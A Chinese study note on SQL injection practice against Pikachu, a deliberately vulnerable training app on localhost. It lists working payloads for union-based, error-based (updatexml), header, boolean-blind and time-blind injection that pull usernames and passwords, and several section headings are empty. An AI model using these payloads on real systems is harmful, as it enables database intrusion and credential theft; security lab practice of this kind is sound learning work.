学习笔记—Pikachu sql 注入实战
一、安装Pikachu
二、数字型注入：
三、字符型注入：
http://127.0.0.1/pikachu-master/vul/sqli/sqli_str.php
?name=vince%27+union+select+username%2Cpassword+from+users+%23
&submit=&Submit
四、搜索型注入：
http://127.0.0.1/pikachu-master/vul/sqli/sqli_search.php?name=a%27+union+select+username,password,3%20from+users+%23&submit=%E6%90%9C%E7%B4%A2
五、xx型注入：
http://127.0.0.1/pikachu-master/vul/sqli/sqli_x.php?kobe%27)%20union%20select%20username,password%20from%20users%20&submit=&Submit
六、“insert/update”注入：
七、“delete”注入
pikachu-master/vul/sqli/sqli_del.php?id=58+or+updatexml(1,concat(0x7e,database()),0) HTTP/1.1
Host: 127.0.0.1
八、“http header”注入
Firefox/56.0’,1,updatexml(1,concat(0x7e,(select database()),0x7e),1)) #
九、盲注（base on boolian）
kobe’ and ascii(substr(database(),1,1))=112#
十、盲注（base on time）
kobe’ and if((substr(database(),1,1))=‘a’,sleep(5),null)#
宽字节注入(见后续)
了解更多请关注下列公众号：